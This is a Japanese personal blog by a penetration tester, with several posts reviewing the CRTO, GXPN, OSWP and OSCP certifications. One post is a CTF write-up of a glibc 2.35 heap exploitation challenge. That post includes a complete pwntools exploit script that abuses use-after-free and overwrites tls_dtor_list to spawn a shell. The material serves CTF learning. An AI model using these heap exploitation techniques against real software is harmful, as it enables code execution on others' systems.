uhyoyeah’s diary

基本的に今を生きることを書きます。

CRTOを受けてきました

ペネトレーションテスト一般の知識・技術としてOffsec社のOSCPを勉強してきたものの、ADやAV/EDR回避といったことに弱点を感じたので、CRTO試験を受けてきました。
自称えせコバルトストライカーになれたかなと。。。

RTOについて

コース内容

Zeropoint Security社が提供する「Red Team Ops」はオンラインの自己学習コースで、レッドチームに必要な基本的知識とツール、Windows DefenderやAMSI、Applockerの回避についても含まれており、bad OPSEC(検出に繋がるアクション)が何たるかを教えてくれます。

カリキュラムが掲載されていて、攻撃のライフサイクルでまとまっているので比較的理解しやすいです。このコースの最大の特徴は、よく知られる「Cobalt Strike」でPost-Exploitを行う点かと。
training.zeropointsecurity.co.uk

環境面について

テキスト

WebベースのテキストでPDFの出力などはありませんが、現時点では一度購入してしまえば閲覧期限はありませんので、これを参考書として実務に生かしているといったコメントも見受けられました。ずっと使えるのはかなりのアドバンテージかなと思います。

ラボ(Snap Labs

ラボは別売りのサブスク形式になっていて、執筆時点では30日、180日、365日のいずれかから選べます。この期間で無制限というわけではなく、それぞれ上限の利用時間(120、250、500時間)が設定されています。ラボをシャットダウンし忘れると時間が溶けていきますのでご注意を(自動で止める機能もあるようですが)。
また、Guacamole経由なのでVPNは使えません。
テキストベースのコピペは可能ですが、ファイルは持ち込み、持ち出しはできません。基本は与えられた環境内でのLiving off the land的なものと考えたほうがよいです。

費用について

1ポンド=180円くらいだったので、合計で8万円くらいだったかと思います。
コース(RTO-1):£365
ラボ180日:£83
毎年の流れでいけばBlack Fridayやイギリスの祝日あたりにちょいちょい安くなっているみたいなのでそのタイミングを狙うのが良いかと。

受けようと思ったきっかけ

  • サイバーセキュリティに係る能力の筋トレ
  • OPSEC、AV/EDRや各種センサー回避を題材にしたトレーニングに興味あり
  • 円安を煽りを受けた影響でOffsecのお布施ができるほどの余裕もなかった

ホント、事務仕事ばっかりしているとスキルが退化するので不安でしょうがないんですよ。あと執筆時点でOffsecはセールやってますが、年間で300kですもんね。SANSに比べればマシですが。

受験のバックグラウンド

  • GXPN/OSCP/GPEN保有、ペンテスト経験値は3年程度
  • ここ1年事務仕事に役割が変わったので診断業務はお休み中
  • GUIより黒いターミナル画面の方が面白いと思っている

受講から試験まで

スケジュール感

ざっと1.5か月程度で受験までこぎつけました。日常生活においてほかの事もやりながら、英語学習の一環だと思ってテキストを手作業で翻訳していたので相当時間がかかりました。
40~60時間くらいが適切といったブログもありましたが、のんびりと120時間くらい使ったので、翻訳ツールを活用すればもう少し時間は短縮できたと思います。

  • 資料の読み込み1回目+ラボ:約1か月
  • Defender有効化+ラボ2回目(約0.5か月)
  • C2プロファイルの再確認(2日程度)

なお、ラボの利用時間推移は以下のような感じでした。別のことをやりながら、復習を兼ねてあれこれやっていたので50時間程度は無駄に溶かしていた感もあります。

最初の20日:50時間
30日まで:76時間
40日まで:113時間
試験直前:175時間

詰まった時のコミュニティ頼み

Offsec同様、Discordとstudent dashboardがあります。迷ったらよく参照していました。

試験環境等

試験の中身については省略しますが、ざっと以下のとおりです。

  • 模擬環境において与えられたフラグを取得するCTF形式
  • 4日間または48時間(途中でラボをシャットダウンすることが可能)
  • 6/8個のフラグを取得すれば合格(75%)
  • Proctorによる試験監督なし

Offsecのような緊張感はなく、定刻から始められ、全体としてゆったり臨めます。
OSWP受験の時は「この黒い箱は何だ、片付けろ、これは何だ?」みたいなやり取りで試験時間が3時間ちょいのうちの30分が溶けました・・・

受験後の感想

だいたい20時間程度で全てのフラグに到達しました。

最初と途中でドハマリしたのですが、振り返って分析したところ、極度の緊張から来る凡ミスでした。与えられた環境やテキストをしっかりと理解しておけば問題はないかと思います。テキスト内に示されているチャレンジ課題はしっかりやった方が自信につながります。

この手の資格試験で毎回思いますが、このドハマリ期間は精神がすり減らされます。「もう一回おかわり受験か」と非常に憂鬱でした。

試験時間が残り10時間以上あったのですが、合格基準を満たしていたのでCanvas Badgesからメールが届いてました。

OSCPと比較してどうなのよ問題

そもそもレッドチームとペネトレーションテストを同等に比較することは困難なので、公開されたシラバスを踏まえてざっくりとした主観です。

  • OSCPは広く浅く、C2をほぼ使わない
  • CRTOはPost-Exploit重視、C2サーバ利用がメイン

C2サーバを駆使して様々な操作を行うという点では、基本的事項を理解していないとC2のツールが変わる度に苦労しそうな点があり、そういう点ではOSCPでC2を使わない基本的事項を理解しておくことが大事と感じ、OSCP→CRTOのラーニングパスはそれなりによかったなと思いました。

また、名だたる攻撃者グループがCobalt Strikeを多数利用していることも納得で、本当に便利なPost-Exploitツールであると認識しました(execute-assemblyは超便利)。

ただ、OSEPとのシラバス比較でも、例えばIDS/IPSの回避といった点がCRTOにはなく、どれが最良であるというのは結論しづらいところでした。

雑感

感じたことを以下に記載しておきます。

動画に字幕がない

英語が苦手な方は少々大変かもしれません。google chromeのユーザ補助を使って翻訳(英語に文字起こし)はできるので、活用をお勧めします。

大事なところにフォーカスしているので、説明があっさり

Offsecのような親切な動画説明はないのでご注意を。わからない部分は自分で調べることも多少必要になるかもしれません。

全ての項目に動画があるわけではない

気になるところはラボを活用して自分で理解する、またはフォーラムを活用することになります。

どのコンテキストで実行するアクションかを把握する

例でKerberosでチケットを要求する際、どのコンテキストで実行すべきなのかがよくわからなくなるので、試験前に整理しておくと頭がスッキリします。

Guacamoleはキーボードのタイプミスが多数発生

メンブレンとメカニカルキーボードを使い分けた環境では、メカニカルキーボードのみ「mimikatz lsadump::dcsyncccccccccccc」といったタイプ連打が起きました。手元の環境の問題かもしれませんが参考まで。
割とストレスがたまったので、ブラウザ上の仮想マシンに直接入力するのではなく、ホスト上のメモ帳などを使ってからコピペしてました。

Defenderを有効にする場合としない場合で戦略の組み方が全く違う

これはこのトレーニングの最大の利点かと思いますが、一通りの技術を理解させてからWild Lifeでは本当に通用するのかよといった感じです。現実の世界を見据えたカリキュラムの組み方は非常によかったなと思いました。
このため、Defenderを有効にしてからラボをもう一度こなすことをお勧めします

最後に

コンテンツとしては更新頻度も早く、とても素晴らしいものでした。ラボ環境のアップデートスピードも速いように思います。
私の弱点のAD知識を大幅に補強してくれました。次はRTO-2に行くか、OSEPに行くかはちょっと考えたいと思います。OSEDも受けたいけどOffsecへのお布施が足りない。

SECCON Beginners CTF 2023 writeup(No_Control)

pwnのHard問をようやく解けるようになってきたので、勉強がてらWriteupを書きます。
多少下手くそかもしれませんがご容赦ください。

ファイルの状態

セキュリティが全て有効、PIE、64bit。ソースあり。libc2.35。

$ file chall    
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 3.2.0, 
BuildID[sha1]=faa7e2ee4798355d90527ada0307ea81a8270657, not stripped

$ checksec --file=chall --output=csv
Full RELRO,Canary found,NX enabled,PIE enabled,No RPATH,RUNPATH,
Symbols,No,0,3,chall

CRUDとあるとおり、典型的なheap問のオプション。

$ ./chall
1. create
2. read
3. update
4. delete
5. exit
>

脆弱性

Write-after-free

update_memo()はメモの中身が空でもmemoのポインタが存在すれば解放されたチャンクにデータを書き込める。
→tcacheのFD/BKが改ざん可能。

void update_memo() {
    int idx;
    char *memo;
    idx = ask_index();

    if (idx < 0 || LIST_SIZE <= idx) {
        puts("Invalid index");
    } else if (memos[idx] == NULL) {
        puts("that memo is empty");
    } else {
        memo = memos[idx];
    }

    if (memo == NULL) {
        puts("something wrong");
    } else {
        printf("content: ");
        read(STDIN_FILENO, memo, MEMO_SIZE);
    }
    return;
}
Read-after-Free

create_memo()、delete_memo()を実行してtcacheに入れ、再度create_memo()を行うと、解放したtcacheが再利用され、read_memo()でtcacheのFDが読み取り可能になる。

tcacheカウントの書き換え

ここでの注意点としてTcacheのFDがGLIBC2.32からPROTECT_PTRマクロによって保護されるようになっている。
また、次のtcacheアドレスのアライメントが16バイトに沿っていないと怒られる。
https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/malloc/malloc.c

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

次のtcacheのポインタがなければ(すなわちNULL)、単に12bit左にシフトするとheapのベースアドレスを得ることができる。

ただ、これではlibcのアドレスは出てこないので、tcacheのメタデータ(カウント数)7以上に改ざんして、次に解放したチャンクがunsortedbinに送られるようにする必要がある。
これをもとに前述のWrite-After-Freeを使ってtcacheの次のエントリをtcacheのメタデータのカウント数部分(heapベース+0x10)をポイントするようにし、0x90のサイズを7に書き換える。

tcacheのカウント、エントリがよくわからないという方は下記の記事が参考になります。
note.com

unsortedbinからのlibcリーク

0x90のtcacheのカウント数が7になったところで、更にチャンクを開放すればunsortedbinに入るが、普通に再度mallocで確保するとFD/BKが消えてしまったので、remaindering(ここでは隣接するunsortedbinチャンクを2つ作って結合させ、そこから0x90サイズを要求して切り出す)をすることでlibcのベースアドレスを得ることができた。
この作業をする前にtcacheのカウント数を再び0に戻し、unsortedbinが使われるようにする必要あり。

tls_dtor_listの改ざん

ここまでくればそれぞれのベースアドレスがわかり、任意のアドレスに任意のデータを書き込むことが可能になったので、exit_funcsのtls_dtor_listを改ざんしてsystem(/bin/sh)をやってみた。
下記がとても参考になりました。
tttang.com
hjmsan.hatenablog.com

exitの後に任意の関数を実行させるためには、tls_dtor_listに登録することになる。
その中でPTR_MANGLE(func)マクロにより保護されているため、pointer_guardの値とのXOR、RORで復元することが必要になる。
https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/stdlib/cxa_thread_atexit_impl.c

__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
      PTR_DEMANGLE (func);

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);

      /* Ensure that the MAP dereference happens before
	 l_tls_dtor_count decrement.  That way, we protect this access from a
	 potential DSO unload in _dl_close_worker, which happens when
	 l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}

https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/sysdeps/unix/sysv/linux/x86_64/sysdep.h

#  define PTR_DEMANGLE(var)	asm ("ror $2*" LP_SIZE "+1, %0\n"	      \
				     "xor %%fs:%c2, %0"			      \
				     : "=r" (var)			      \
				     : "0" (var),			      \
				       "i" (offsetof (tcbhead_t,	      \
						      pointer_guard)))

このpointer_guardの値はtcbhead_tの構造体の0x30バイト目に存在する。
tcbhead_tはFSセグメントに保存されている。

https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/sysdeps/x86_64/nptl/tls.h

typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int unused_vgetcpu_cache[2];

/* snip..... */

} tcbhead_t;
tls_dtor_list改ざんまでのアプローチ

・pointer_guardの値であるFS:0x30を任意の値にする(ここでは0にした)。
・任意の関数(system)を実行させるのに必要な計算(ROR、XOR)を行う

addr = ((system ^ 0)<<0x11)&0xffffffffffff8000 
addr += ((system ^ 0)>>0x2f)&0x7fff

tls_dtor_listにヒープのアドレスを書き込む&ヒープアドレスを下記のようにする

0x0 -> 算出したaddr
0x8 -> 0x10へのポインタ
0x10 -> /bin/sh\x00

このようにすると、プログラムをexitで終了すれば__call_tls_dtorsのcall raxでsystem(/bin/sh)が降ってきます。めでたしめでたし。

ctf4b{w1sh_y0u_w3r3_h3r3}

最終スクリプト

from pwn import *
elf = context.binary = ELF("./chall")
libc = ELF("./libc.so.6")

gs = '''
set breakpoint pending on
break __call_tls_dtors
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

#io = start()

io = remote('no-control.beginners.seccon.games',9005)

def create(index):
    io.sendlineafter(b"> ",b"1")
    io.sendlineafter(b"index: ",str(index).encode())
def read(index):
    io.sendlineafter(b"> ",b"2")
    io.sendlineafter(b"index: ",str(index).encode())
def update(index,content):
    io.sendlineafter(b"> ",b"3")
    io.sendlineafter(b"index: ",str(index).encode())
    io.sendlineafter(b"content: ",content)
def delete(index):
    io.sendlineafter(b"> ",b"4")
    io.sendlineafter(b"index: ",str(index).encode())
def exit_prog():
    io.sendlineafter(b"> ",b"5")

create(0)
delete(0)
create(1)
read(1)
heap_base = u64(io.recv(5).ljust(8,b"\x00"))<<12
chunk_addr = heap_base+0x2a0

info(f"heap_base @ 0x{heap_base:02x}")
create(4)
create(2)
create(3)
create(0)
delete(3)
delete(2)
delete(0)
update(0,p64((chunk_addr>>12)^heap_base+0x10)) # to allocate tcache count
create(3)
create(2) # tcache entry
update(2,p64(0) + p64(0x0007000000000000))
delete(3)
delete(1) # create unsortedbin
delete(4)
update(2,p64(0) + p64(0x0)) # drop tcache count
create(1)
read(1)
unsorted_leak = u64(io.recv(6).ljust(8,b"\x00"))
libc.address = unsorted_leak - 0x219df0

info(f"libc_base @ 0x{libc.address:02x}")

ptr_guard = libc.address - 0x2890
dtor_list = libc.address - 0x2918-0x8 #tcache alignment
gadget = libc.sym.system

create(3)
delete(3)
delete(1)
update(1,p64((chunk_addr>>12)^ptr_guard))
create(3)
create(1)
update(1,p64(0)) # set NULL to pointer_guard

# ptr_demangle(ror,xor)
addr = ((gadget^pointer_guard)<<0x11)&0xffffffffffff8000
addr += ((gadget^pointer_guard)>>0x2f)&0x7ffff

create(4)
delete(4)
delete(3)
update(3,p64((chunk_addr>>12)^dtor_list))
create(4)
create(3)
update(3,p64(0)+p64(chunk_addr)) #register heap_addr to dtor_list

payload = p64(addr)
payload += p64(chunk_addr+0x10)
payload += b"/bin/sh\x00"

update(4,payload)
exit_prog()

io.interactive()

free_hookなくなるとほんとめんどくさく感じる・・・

GXPNを受けてきました

SANSの資格であるGXPNは英語の記事においてある程度充実しているのですが、日本語ではそこまで取り扱われていないようなので共有しておきます。参考になれば幸いです。

講義と試験のアウトライン

SANS社の日本語サイトにあるとおりですが、SEC660は「Exploit Researcher and Advanced Penetration Tester」、アプリケーション等に対するエクスプロイトコードの開発や初心者のペンテスターが脆弱性を見つけられないような細部領域(MITMや暗号、Kioskからの脱出、Scapyによる細工したパケットの作成など)へのペネトレーションテストについての講義を受けられます。

試験の概要についてはこちらに記載されていますが、ざっとこんな感じです。

  • 60問の選択式(うち、6問のハンズオン)
  • 試験時間:180分
  • 67%以上で合格

受験における私のバックグラウンド

  • 本業は雑用をこなすマネージャー職。合間を見つけて趣味で手を動かす(コマンドを打つ)レベル
  • OSCP/CISSP/CISA/GPEN/KLCP/OSWP
  • 英語は好きだが得意ではない、海外の情報をgoogle翻訳と対比させながらざっくり読む程度
  • SOC/CSIRT業務を数年程度経験していた
  • 趣味でCTF(最近はoffsec受験祭りでサボっている)
  • クラウドまわりの経験値は低い
  • 診断(ペンテスト)のお仕事経験は実質3年目

レーニング受講時

毎日が非常に興味深いコンテンツでしたが、先生の説明を聞いてブートキャンプ(講義後の自主トレ)をやるだけで精一杯でした。SANSの教育コンセプトそのものが「ひとまずたくさん教えて自己学習を後でしてもらう」というスタンスなので、期間中に全て理解する必要はないです。講義やCTFの際はひたすら楽しむことが重要だと思います。なお、SEC660では2日目にもブートキャンプでCTFがあり、最終日も含め楽しかったです。
また、受講期間中にWindowsDEP無効ROPチェーンを作ることはできなかったのですが、テキストが詳細に解説をしてくれているので、これをしっかり読むことで後日オリジナルのROPチェーンを作ることができました。

試験準備期間にやったこと

レーニング終了後から約2ヵ月間で受験までたどり着くことができましたが、学習時間は平均して毎日3~4時間といったところです(英語の得手、不得手で時間は増減すると思います)。

  • 約50日:テキストの通読及びExerciseの復習、インデックスの作成、終了後に1回目の模擬試験(85%)
  • 約5日:テキストの斜め読み、終了後に2回目の模擬試験(同じく85%)
  • 約5日:講義のビデオ視聴

試験当日

試験内容は秘密保持の観点からお伝えできないので、当時の立ち振る舞いを記述しておきます。ピアソンの会場で受験し、GIACの試験はオープンブック(テキスト等持込可、模擬試験をプリントして持ち込むのはNG)なので、以下を持ち込みました。

  • 講義テキスト
  • 英和辞典(コンパクトなもの)
  • 作成したインデックス
  • コマンドチートシート

とにかくカバンが重かった・・・

時間配分など

当初の計画として54問を2時間、ハンズオンを1時間としました。実際はハンズオン以外の54問を2時間で解答してから休憩を取り、その後ハンズオンで30分ほど時間を余して終了しました。最後の問題を解答すると、Passed(88%)といった文字が出てほっとしました。

試験環境

試験会場次第ではあると思うのですが、SANSだけの試験会場ではないので、与えられる机が狭い可能性があります(SANS試験で2回とも狭かった)。ハンズオンにたどり着くまでは、本を広げるためにキーボードを別の場所に動かすなどしてスペースを確保していました。

試験を振り返って

GPENの時と比較すると、1問に対して考えることが多かったなという感触です(当時、GPENは75問+7問のハンズオンで3時間、75%合格)。

GXPN取得後の振り返り

SEC560から比較してみると、Advancedな内容ではあるので難しく感じる部分もありましたが、エクスプロイトを書くことに関して言えば、武道でいう「型」を教えてもらっただけというところで、実際のアプリケーションなどでエクスプロイトを探す際には対象のアプリの動作をよく理解しなければならない上に昨今の様々なセキュリティ保護策を解決する必要があり、SEC660だけで満足してはならないと思いました(トレーニングとしてはとても素晴らしいです)。
上位のトレーニングとしてSEC760もあり、こちらはヒープやカーネルエクスプロイトなど、Windows11にも適応できるエクスプロイトを書くコースがあるようです。

SANSの試験を2回受けて思ったこと(GIAC全般)

カリキュラム内容によっては難しい問題ももちろんあるとは思うのですが、やはり共通して重要なのは以下の項目だと思います。

インデックスを作ること

ほとんどはテキストの中から出る、かつテキストの持ち込みが可能(オープンブック)と考えると、作成すべきものです。前のGPENの記事でも書いていますが、試験中にテキストをじっくり読んでいる暇はないので、英語が苦手な方は可読性を害さない程度に、テキスト内の重要事項を赤ペンで日本語訳を多めに書くことも一つのTipsかと思います。

模擬試験を受けて、試験環境の体験をしておくこと

記載しているとおりですが、試験のUIに慣れることや、出題の傾向を読み解くにあたっては必須とも言えます(前回GPENを受けた時と試験のユーザインタフェースが変わっていました)。

英語が得意だと奪われる時間が少なくて済む

母国語が英語ではない方の特有の問題だと思いますが、私自身、英語の文脈が分からなくて解けなかったであろう問題を何回か経験しています。Offensive Security社の各種試験などの修行を経たおかげで英語に多少慣れました。気が付けば今回は辞書を引くことが無かったのですが、前回のGPENの時は3回くらい辞書で単語を探していました。長文だとそれだけでも時間がかかりますし、1回だけでも辞書を参照する時間として30秒~1分を奪われるとなると、できる限り英語に慣れておくことは試験を有利にするものと言えます。

試験計画を早々に立てる

これはいずれの試験にも言えることですが、SANSの試験は概ね4ヵ月以内に受験することが必要です。
SANSの試験ではスライドノートも含めてテキストを読破することが最も重要で、どのくらいの期間で読了するかという見積りが立たないことがあります。進捗は日々の仕事の都合や英語のスキルに依存する部分があるので、講義終了後は早々にテキストを読み、1日に読み進められるページ数を把握しつつ、模擬試験や試験本番の日程を定めることもよいと考えます。

選択肢に悩んだ際は、間違っている理由を探す

これも当たり前だろと言われそうですが、間違いの理由を知ることは学びが多い感触です。選んだ解答が正解であることの確信も持てますので、即座に解答が分かった時も、時間に余裕があれば誤答の理由の分析もできると良いかと思います。

これからSEC660を受講される(検討している)方へ

冒頭でも説明していますが、ネットワークペネトレーションテストの基礎については振り返って説明するといったことはありません。また、アセンブリを苦手とする場合、講義の後半はほぼアプリケーションのエクスプロイトとなり、進みが早く感じられて苦労するかもしれませんので、以下の内容を事前に学習する事をお勧めします。

振り返れば、趣味のレベルでHTBやCTFでPwnableな問題を解いていたことがかなり役立ちました。このやり方では我流かつLinuxに偏った解法でしたが、SANSではWindowsのエクスプロイトも含めて情報を体系的に整理して教えてくれるので、学習してよかったです。
また、前述のSEC760とどちらを受けるべきか、ということに迷う場合は知識を問うクイズがありますので、確認してみてはいかがでしょうか。
www.sans.org

GXPNの先人の体験記

不安解消のためにジャーニーをちらちら見てました。
medium.com
javan.de
blog.geoda-security.com
medium.com

終わりに

  • 「Patch Tuesday, Exploit Wednesday」という名言を習得しました。
  • 今年はひとまずゆっくりしようと思いますが、Holiday Hack Challengeはやりたい。また来年は何するかぼちぼち考えます(下は酒を除いてこれまでのSANS関連の戦利品です)。

OSWPを取得&今回のLearn Oneでの受験可能資格をコンプしました

OSWPに合格したので、こちらもあんまり記事が見当たらないためナレッジ共有です。
レポート提出してからほぼ丸一日で合格通知が来ました。知らなかったのですが、OSWPに合格すると、ISC2のCPEを10ポイントで申請できるみたいです。

これでOSCP/OSWP/KLCPをゲットしたので、今回申し込んだLearn Oneの受験コンテンツを一通り終えました。

OSWPとは

www.offensive-security.com

  • Offensive Security社のワイヤレスネットワークに対する攻撃のスキルがあることを証明する資格で、シラバスにもあるとおり、Wi-Fiネットワークに対する攻撃スキルを習得できるものです。Bluetoothやその他のワイヤレスネットワークに対するものは含まれません。OSCPなどと異なり、ラボを自前で作ることが要求されます。
  • 執筆時点のExam Guideでは、3時間45分で3つのワイヤレスネットワークを攻略し、うち2つのproof.txtを取得し、24時間以内にレポートを提出すれば晴れて合格らしいです。なお3つのうち1つは攻略が必須になっています。
  • 公式のFAQによれば、2022年2月14日以降は新試験になっているようです。中身がどう変わったかまでは見ていませんが、過去の体験記を見る限りでは、WEPがかなり薄くなり、WPA-PSKとWPA-Enterpriseにフォーカスされたものと推測します。
  • 教育コンテンツにはキャプティブポータル、WPSに対する攻撃や、Bettercap、Kismetの使い方などもあります。

なぜOSWPを取得しようとしたか

  • Learn Oneのお布施分を回収したかった
  • Wirelessに関する知識が乏しかったのでその補てん
  • えせマネージャー職として幅を広げたかった

私のバックグラウンド

  • 本業は雑用をこなすマネージャー職。合間を見つけて趣味で手を動かす(コマンドを打つ)レベル
  • OSCP/CISSP/CISA/GPEN/KLCP
  • LPIC-2→数年前に失効
  • 英語は好きだが得意ではない、海外の情報をgoogle翻訳と対比させながらざっくり読む程度
  • SOC/CSIRT業務を数年程度経験していた
  • 趣味でCTF(最近はoffsec受験祭りでサボってた)
  • クラウドまわりの経験値は低い
  • 診断(ペンテスト)のお仕事経験は実質3年目

準備した「もの」

準備した「こと」

  • 教科書の読み込み+演習+チートシート作成(約3週間)
  • 教科書の2回目読み込み+演習+基礎知識の穴埋め(約2週間)
  • 他のことにうつつを抜かす(約1週間)

後述しますが、試験までの日付が空いてしまったので、2回目は集中力が切れて他のことをやってた時間が多いです。後半で基礎知識の穴埋めとしていますが、ネットワーク屋さんではないのでその辺の知識が乏しく、EAPは巷では魔境と呼ばれているようで、今でもよくわかんねぇなぁと思うことが多々ある・・・。

準備で少々つまづいたところ

モニターモードが可能なアダプタをいかに探すか

これはOSWP受験準備における最大のポイントだと思っており、前述のとおりラボ環境は自前で用意しなければなりません。PEN-210の推奨アダプタは電波法令で定めている技術基準に適合している無線機ではなく、いわゆる「技適マーク」ありのものを探すのが多少面倒です。
下記サイトではモニターモードをサポートしているアダプタを紹介しています。日本のベンダもわずかながら含まれています。
deviwiki.com
※将来性の観点から、技適あり&802.11ax対応のアダプタをできれば調達したいなーと思ったのですが、IntelのAX200くらいしかモニターモードに対応していないみたいです。インターフェースがM.2ですし、ちょっと難しそう。
802.11ax USB adapter | SmallNetBuilder Forums
Intel WiFi 6 AX200 WiFi Card with Kali

ラボで使うAPはWPA-PSK/WPA-Enterprise対応のものを選ぶ(WEPがあるとなおよし)

まんまですが、シラバスに全部含まれているので、ちゃんと準備しましょう。WEP対応のやつが少なくて少々面倒ですね。

試験の申し込みが3週間先以降しか指定できなかった

時間が無くなって追い込まれるというケースを避けたかったので、教科書を一周してから試験の申し込みをしたのですが、3週間も時間が空いてしまい、飽きてしまった部分が否めません(私だけの状況かもしれませんが)。

試験当日

朝9時からの試験だったので、OSCPの時と同じように8時40分くらいからぼちぼちProctoring Softwareにログインして、IDを表示して、部屋の周囲を映してさて試験開始といったところですが、OSCPの時には聞かれなかったような確認事項やアクションがあって開始できたのは9時半。試験終了時間は変わらないので、まさかのここでTry Harderか~。

  • そして1つ目の必須APの攻略でOSCP同様にドはまりして1時間を溶かしたので休憩して脳内リセット。1問もできない時はやはり焦ります。
  • 2つ目のAPを先にやって、1つ目にもどったら間違いにすぐ気づき、proofをげっと。
  • 3つ目は知らなかったけどgoogle先生が教えてくれました。
  • だいたい2.5時間で全部proof.txtを取得したので、残り1時間程度で再現性チェックをやって試験終了。
  • レポートは慎重に見直して4時間、25ページ程度で提出しました。
  • 試験時のメモ&スクショ取りをOnenoteにしておき、終了後にWordでまとめました。

試験後の感想

  • 試験の中身はお伝え出来ないのですが、OSCPに比べて悩む要素が少ないので、教科書のとおりしっかりやることが大事です。すぐにコマンドを打てるよう、チートシートはしっかり作りましょう。また、悩んだらすぐgoogle先生に聞きましょう。
  • Kaliのコマンドラインインターフェースであれこれやることが苦手でなければ問題ないレベルです。
  • 執筆時点ではWPA3の攻略は厳しい情勢であることを踏まえると、OSWPを取得したからといって、最新アルゴリズムの攻撃に対応できると考えない方が良いです。ただ、脆弱な設定に対する攻撃方法としては有用なので、Learn Oneの契約をあらかじめしていて、時間をかける余裕があり、ワイヤレスのテストに興味がある方は1つの選択肢となるのではないでしょうか。

Learn One受験コンテンツを終えて

  • 自分のやりたいコースを除き、サブコンテンツ的なPG Practice、PEN-103、他のLevel100の基礎コンテンツ、PEN-210が有用であるか否かは受講される方のバックグラウンド次第かなと思います。目的がはっきりしている方は単一コンテンツの90日プランを選んだ方が費用対効果に優れている気がします(主観)。
  • +1000ドルを高いと思うかどうかの観点になりますが、Learn Oneだとサブスク期間が365日と大幅に増え、Level100コンテンツ+希望コースの試験2回+PEN-210+PG Practiceという特典がつきますので、受験やその準備に対して安心感は多少得られるかもしれません。
  • 私はPEN-103/PEN-210のいずれも不慣れな領域だったので、幅を広げるという観点でLearn Oneを選んだのですが、例えばKali Linuxの操作に慣れている、またはWi-Fiのペンテストなんか楽勝だろと思う方はKLCP/OSWPの取得は不要かもしれません。OSCPをゴールに設定する場合、やらなくても良いコンテンツです(ただし、KLCPは若干ですがOSCPラボあたりでのトラブルシューティングの補助にはなりました)。
  • 断片的に幅広くかじってきた私としては、Learn OneはLevel100のコンテンツを含め、お布施分を十分に回収できる素晴らしいコンテンツだと思いました。

他のLevel100やPG Practiceはまだ時間が残っているので、適宜触ろうと思います。
次は自分でexploit書けるようになりたいなぁと思う今日この頃。

OSCPに合格しました

ようやく長い旅路が終わり、認定されましたので多少のナレッジ共有です。レポート提出後ほぼ1日で合格通知が来ました(相場観として3日くらいなのであまりの剛速球に焦りました)。

合格体験記については他の人も大量に書いていると認識していますので、可能な限り差異となりそうな部分について書きます。
OSCPについては、受験される方がセキュリティ未経験の方だったり、熟練の方だったりとスキルセットは様々のようです。私は未経験ではないのですが、熟練と呼べるほどでもないので、そのような立場でどのようなことをやってきたのかについて共有したいと思います。

なぜOSCPを目指そうとしたか

  • 現職マネージャ相当だが、マネージャ路線に進まないための布石を打つ
  • 職場でドヤりたい(しょーもな)
  • 知的好奇心(「$」より「#」で伝わりますでしょうか)
  • macbook相当の自費出費の取り返し

契約したプラン

細部はOffensive Security社のウェブサイトに書いてあり、様々な体験記をみると90日プランで契約された方が多いようですが、私は年間サブスクのLearn Oneを利用しました。
選んだ理由の主なポイントは以下の通りです。

  • 昨年末に年間サブスクが$1,999で購読できた。
  • 基礎内容の取りこぼしをしたくない&ADに不安があったので、PEN-100のコンテンツで準備しておきたかった。

※以前はPEN-100のコンテンツ内容も記載されていたのですが、見る限りでは公式からは省略されてしまったようです。個人でLearn Oneの学習履歴を書いておられる方の記事に、その断片が垣間見えるので参考になります。
blog.invid.eu
PEN-100の学習はOSCPに必須か?という点に答えるとするならば、「私の場合はそうでもない」という感じです。コンテンツ内容的には基礎であり、全部を知っているわけではなかったですが、バックグラウンド経験で大体知っていましたし、どちらかというとおさらい&英語の記事を読み慣れるといった場になりました。

私のバックグラウンド

OSCPへの不安要素としてバックグラウンドがどの程度かという観点があると思うので、改めて記述します。

  • 本業は雑用をこなすマネージャー職。合間を見つけて趣味で手を動かす(コマンドを打つ)レベル
  • CISSP/CISA/GPEN/KLCP
  • LPIC-2→数年前に失効
  • 英語は好きだが得意ではない、海外の情報をgoogle翻訳と対比させながらざっくり読む程度
  • SOC/CSIRT業務を数年程度経験していた
  • 趣味でCTF(GDBを動かしている)
  • クラウドまわりの経験値は低い
  • 診断(ペンテスト)のお仕事経験は実質3年目

今回はもちろんですがGPENが相当役に立ちました。なぜなら、OSCPでは細かく紹介してくれない、簡単に作業するTipsを多々利用できたことです。

受験にあたり準備したこと

私は他の方のようにセンスがあると自負していないので、地道にコンテンツを進める作戦を選びました。

<昨年>

  • tryhackmeのJr Penetration Tester(だいたい1か月課金)

tryhackme.com

  • Hack the Box:34マシン+Fortressesの一部、challengesのPwnを9個ほど(1~2か月、VIP契約)

www.hackthebox.com

<今年>

  • PEN-103(KLCP)、約2か月
  • PEN-100のコンテンツ全読&トピックエクササイズをコンプリート、約1か月
  • PEN-200のPDF全読&トピックエクササイズ+レポートをコンプリート、約1か月強
  • ラボ+ラボレポートのコンプリート(75マシン)、約1か月強

1日の平均としておそらく3~4時間以上はこれに費やしていたという実績に基づくものです。十分に時間を取れる、かつOSCPだけにしか興味が無い方は90日プランで良いかと思いますが、幅広くかつじっくりやりたい、もしくは時間の取れない方はLearn Oneの方が安心できると思います。
なお、フォーラムやdiscordを使えばラボのコンプリートは可能で、「そんなの知らんがな」と思うこともあったのですが、最終的には答えにたどり着くと思います。特に質問等もしませんでした。

  • TJnullリストにあるPG PracticeのWindowsマシンを中心に18マシン(約2週間)

docs.google.com
www.offensive-security.com

